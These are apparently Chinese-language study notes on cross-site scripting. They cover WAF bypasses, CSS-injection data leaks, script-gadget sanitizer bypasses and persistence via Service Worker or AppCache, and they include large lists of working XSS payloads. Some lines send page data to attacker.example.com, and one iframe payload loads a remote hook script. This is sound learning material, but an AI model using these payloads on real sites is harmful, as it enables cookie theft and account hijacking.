Web安全學習筆記 XSS漏洞分析下
Web安全學習筆記 XSS下
玲瓏骰子安紅豆,入骨相思知不知。 ——溫庭筠《新添聲楊柳枝詞》
- WAF Bypass
- 技巧
- Payload
- 持久化
- 參考連結
Part1一.WAF Bypass
1WAF 繞過
利用<>標記
利用html屬性
href
lowsrc
bgsound
background
value
action
dynsrc
關鍵字
利用回車拆分
字串拼接
window["al" + "ert"]
利用編碼繞過
base64
jsfuck
String.fromCharCode
HTML
URL
hex
window["\x61\x6c\x65\x72\x74"]
unicode
utf7
+ADw-script+AD4-alert('XSS')+ADsAPA-/script+AD4-
utf16
大小寫混淆
對標籤屬性值轉碼
產生事件
css跨站解析
長度限制bypass
eval(name)
eval(hash)
import
$.getScript
$.get
.
使用 。 繞過IP/域名
document['cookie'] 繞過屬性取值
過濾引號用 ``
`` 繞過`
Part2二. 技巧
2內容索引:
1.httponly
1.在cookie為httponly的情況下
可以通過xss直接在源站完成操作
不直接獲取cookie
2.在有登入操作的情況下
部分站點直接傳送登入請求可能會帶有cookie
3.部分特定版本的瀏覽器可能
會在httponly支援/處理上存在問題
4.低版本瀏覽器支援 TRACE / TRACK
可獲取敏感的header欄位
5.phpinfo 等頁面可能會回顯資訊
這些資訊中包含http頭
6.通過xss劫持頁面釣魚
7.通過xss偽造oauth等授權請求
遠端登入
2.CSS 注入
1. 基本介紹
CSS注入最早開始於利用CSS中的 expression()
url()
regex()
等函式或特性來引入外部的惡意程式碼,但是隨著瀏覽器的發展,這種方式被逐漸禁用,與此同時,出現了一些新的攻擊方式。
2. CSS selectors
<style>
#form2 input[value^='a'] { background-image: url(http://localhost/log.php/a); }
#form2 input[value^='b'] { background-image: url(http://localhost/log.php/b); }
#form2 input[value^='c'] { background-image: url(http://localhost/log.php/c); }
[...]
</style>
<form action="http://example.com" id="form2">
<input type="text" id="secret" name="secret" value="abc">
</form>
上圖是利用CSS selectors完成攻擊的一個示例
3. Abusing Unicode Range
當可以插入CSS的時候,可以使用 font-face
配合 unicode-range
獲取目標網頁對應字符集。PoC如下
<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>
<p id="sensitive-information">AB</p>
當字元較多時,則可以結合 ::first-line
等CSS屬性縮小範圍,以獲取更精確的內容
3. Bypass Via Script Gadgets
3.1. 簡介
一些網站會使用白名單或者一些基於DOM的防禦方式,對這些方式,有一種被稱為 Code Reuse
的攻擊方式可以繞過。該方式和二進位制攻防中的Gadget相似,使用目標中的合法程式碼來達到繞過防禦措施的目的。
在論文 Code-Reuse Attacks for the Web: Breaking Cross-Site Scripting Mitigations via Script Gadgets
中有該方法的具體描述。
portswigger的一篇博文也表達了類似的想法
https://portswigger.net/blog/abusing-javascript-frameworks-to-bypass-xss-mitigations。
下面有一個簡單的例子,這個例子使用了 DOMPurify 來加固,但是因為引入了 jquery.mobile.js
導致可以被攻擊。
3.2. 例子
// index.php
<?php
$msg = $_GET['message'];
$msg = str_replace("\n", "", $msg);
$msg = base64_encode($msg);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Preview</title>
<script type="text/javascript" src="purify.js"></script>
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript" src="jquery.mobile.js"></script>
</head>
<body>
<script type="text/javascript">
var d= atob('<?php echo $msg; ?>');
var cleanvar = DOMPurify.sanitize(d);
document.write(cleanvar);
</script>
</body>
</html>
// payload
<div data-role=popup id='-->
<script>alert(1)</script>'>
</div>
4. RPO(Relative Path Overwrite)
RPO(Relative Path Overwrite) 攻擊又稱為相對路徑覆蓋攻擊,依賴於瀏覽器和網路伺服器的反應,利用伺服器的 Web 快取技術和配置差異。
Part3三. Payload
3常用
<script>alert(/xss/)</script>
<svg onload=alert(document.domain)>
<img src=document.domain onerror=alert(document.domain)>
<M onmouseover=alert(document.domain)>M
<marquee onscroll=alert(document.domain)>
<a href=javascript:alert(document.domain)>M</a>
<body onload=alert(document.domain)>
<details open ontoggle=alert(document.domain)>
<embed src=javascript:alert(document.domain)>
4大小寫繞過
<script>alert(1)</script>
<sCrIpT>alert(1)</sCrIpT>
<ScRiPt>alert(1)</ScRiPt>
<sCrIpT>alert(1)</ScRiPt>
<ScRiPt>alert(1)</sCrIpT>
<img src=1 onerror=alert(1)>
<iMg src=1 oNeRrOr=alert(1)>
<ImG src=1 OnErRoR=alert(1)>
<img src=1 onerror="alert("M")">
<marquee onscroll=alert(1)>
<mArQuEe OnScRoLl=alert(1)>
<MaRqUeE oNsCrOlL=alert(1)>
5各種alert
<script>alert(1)</script>
<script>confirm(1)</script>
<script>prompt(1)</script>
<script>alert('1')</script>
<script>alert("1")</script>
<script>alert`1`</script>
<script>(alert)(1)</script>
<script>a=alert,a(1)</script>
<script>[1].find(alert)</script>
<script>top["al"+"ert"](1)</script>
<script>top["a"+"l"+"e"+"r"+"t"](1)</script>
<script>top[/al/.source+/ert/.source](1)</script>
<script>top[/a/.source+/l/.source+/e/.source+/r/.source+/t/.source](1)</script>
6偽協議
<a href=javascript:/0/,alert(%22M%22)>M</a>
<a href=javascript:/00/,alert(%22M%22)>M</a>
<a href=javascript:/000/,alert(%22M%22)>M</a>
<a href=javascript:/M/,alert(%22M%22)>M</a>
7Chrome XSS auditor bypass
?param=https://&[email protected]/import%20rel=import%3E
<base href=javascript:/M/><a href=,alert(1)>M</a>
<base href=javascript:/M/><iframe src=,alert(1)></iframe>
8長度限制
<script>s+="l"</script>
\...
<script>eval(s)</script>
9jquery sourceMappingURL
</textarea><script>var a=1//@ sourceMappingURL=//xss.site</script>
10圖片名
"><img src=x onerror=alert(document.cookie)>.gif
11過期的payload
src=javascript:alert
基本不可以用
css expression
特性只在舊版本ie可用
12css
<div style="background-image:url(javascript:alert(/xss/))">
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
13markdown
[a](javascript:prompt(document.cookie))
[a](j a v a s c r i p t:prompt(document.cookie))
<javascript:alert('XSS')>
![a'"`onerror=prompt(document.cookie)](x)
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)
![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)
14iframe
<iframe onload='
var sc = document.createElement("scr" + "ipt");
sc.type = "text/javascr" + "ipt";
sc.src = "http://1.2.3.4/js/hook.js";
document.body.appendChild(sc);
'
/>
<iframe src=javascript:alert(1)></iframe>
<iframe src="data:text/html,<iframe src=javascript:alert('M')></iframe>"></iframe>
<iframe src=data:text/html;base64,PGlmcmFtZSBzcmM9amF2YXNjcmlwdDphbGVydCgiTWFubml4Iik+PC9pZnJhbWU+></iframe>
<iframe srcdoc=<svg/onload=alert(1)>></iframe>
<iframe src=https://baidu.com width=1366 height=768></iframe>
<iframe src=javascript:alert(1) width=1366 height=768></iframe
15form
<form action=javascript:alert(1)><input type=submit>
<form><button formaction=javascript:alert(1)>M
<form><input formaction=javascript:alert(1) type=submit value=M>
<form><input formaction=javascript:alert(1) type=image value=M>
<form><input formaction=javascript:alert(1) type=image src=1>
16meta
<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
Part4四.持久化
17基於儲存
有時候網站會將資訊儲存在Cookie或localStorage,而因為這些資料一般是網站主動儲存的,很多時候沒有對Cookie或localStorage中取出的資料做過濾,會直接將其取出並展示在頁面中,甚至存了JSON格式的資料時,部分站點存在 eval(data) 之類的呼叫。因此當有一個XSS時,可以把payload寫入其中,在對應條件下觸發。
在一些條件下,這種利用方式可能因為一些特殊字元造成問題,可以使用 String.fromCharCode 來繞過。
18Service Worker
Service Worker可以攔截http請求,起到類似本地代理的作用,故可以使用Service Worker Hook一些請求,在請求中返回攻擊程式碼,以實現持久化攻擊的目的。
在Chrome中,可通過 chrome://inspect/#service-workers
來檢視Service Worker的狀態,並進行停止。
19AppCache
在可控的網路環境下(公共wifi),可以使用AppCache機制,來強制儲存一些Payload,未清除的情況下,使用者訪問站點時對應的payload會一直存在。
Part5五.參考連結
20wiki
AwesomeXSS
https://github.com/s0md3v/AwesomeXSS
w3c
https://w3c.github.io/webappsec-csp/
dom xss wiki
https://github.com/wisec/domxsswiki/wiki
content-security-policy.com
https://content-security-policy.com/
markdwon xss
https://shubs.io/exploiting-markdown-syntax-and-telescope-persistent-xss-through-markdown-cve-2014-5144/
xss cheat sheet
https://brutelogic.com.br/blog/cheat-sheet/
html5 security cheatsheet
https://html5sec.org/
http security headers
https://www.invicti.com/whitepaper-http-security-headers/
XSSChallengeWiki
https://github.com/cure53/XSSChallengeWiki/wiki
21Challenges
XSS Challenge By Google
https://xss-game.appspot.com/
prompt to win
http://prompt.ml/0
22CSS
rpo
http://www.thespanner.co.uk/2014/03/21/rpo/
rpo攻擊初探
http://www.zjicmisa.org/index.php/archives/127/
Reading Data via CSS
https://curesec.com/blog/article/blog/Reading-Data-via-CSS-Injection-180.html
css based attack abusing unicode range
https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html
css injection
https://speakerdeck.com/lmt_swallow/css-injection-plus-plus-ji-cun-shou-fa-falsegai-guan-todui-ce
css timing attack
https://blog.sheddow.xyz/css-timing-attack/
23同源策略
Same origin policy
https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy
cors security guide
https://www.bedefended.com/papers/cors-security-guide
logically bypassing browser security boundaries
https://speakerdeck.com/shhnjk/logically-bypassing-browser-security-boundaries
24bypass
666 lines of xss payload
https://gist.github.com/JohannesHoppe/5612274
xss auditor bypass
https://github.com/masatokinugawa/filterbypass
xss auditor bypass writeup
https://www.leavesongs.com/HTML/chrome-xss-auditor-bypass-collection.html
bypassing csp using polyglot jpegs
https://portswigger.net/research/bypassing-csp-using-polyglot-jpegs
bypass xss filters using javascript global variables
https://www.secjuice.com/bypass-xss-filters-using-javascript-global-variables/
25持久化
變種XSS 持久控制 by tig3r
http://drops.wooyun.org/web/10798
Using Appcache and ServiceWorker for Evil
https://sakurity.com/blog/2015/08/13/middlekit.html
26Tricks
Service Worker 安全探索
https://github.com/etherdream/sw-sec
前端黑魔法
https://github.com/EtherDream/web-frontend-magic